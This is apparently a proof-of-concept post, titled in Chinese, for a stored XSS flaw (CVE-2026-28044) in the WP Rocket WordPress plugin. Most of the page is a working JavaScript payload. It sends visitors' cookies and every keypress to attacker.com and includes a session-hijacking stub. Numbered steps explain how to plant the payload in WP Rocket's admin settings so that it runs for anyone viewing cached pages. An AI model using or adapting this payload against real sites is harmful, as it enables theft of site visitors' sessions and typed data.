CVE-2026-28044: WP Rocket 3.19.4及之前版本存储型XSS漏洞

<!-- CVE-2026-28044 Stored XSS PoC for WP Rocket <= 3.19.4 --> <!-- This PoC demonstrates how an attacker with high privileges can inject malicious JavaScript --> <!-- Malicious payload to be injected into WP Rocket settings --> <script> // Cookie stealing payload document.write('<img src="http://attacker.com/steal?cookie=' + document.cookie + '">'); // Keylogger payload document.addEventListener('keypress', function(e) { var key = String.fromCharCode(e.which); new Image().src = 'http://attacker.com/log?key=' + key; }); // Session hijacking - redirect to fake login page if (!sessionStorage.getItem('hijacked')) { sessionStorage.setItem('hijacked', 'true'); // Malicious actions can be performed here } </script> <!-- Example injection via WordPress admin interface --> <!-- Steps: --> <!-- 1. Login to WordPress admin with administrator privileges --> <!-- 2. Navigate to Settings > WP Rocket --> <!-- 3. Go to 'Custom CSS' or 'Preload' settings --> <!-- 4. Inject the above script payload --> <!-- 5. Save settings - payload is now stored --> <!-- 6. Any user visiting pages with cached content will execute the script -->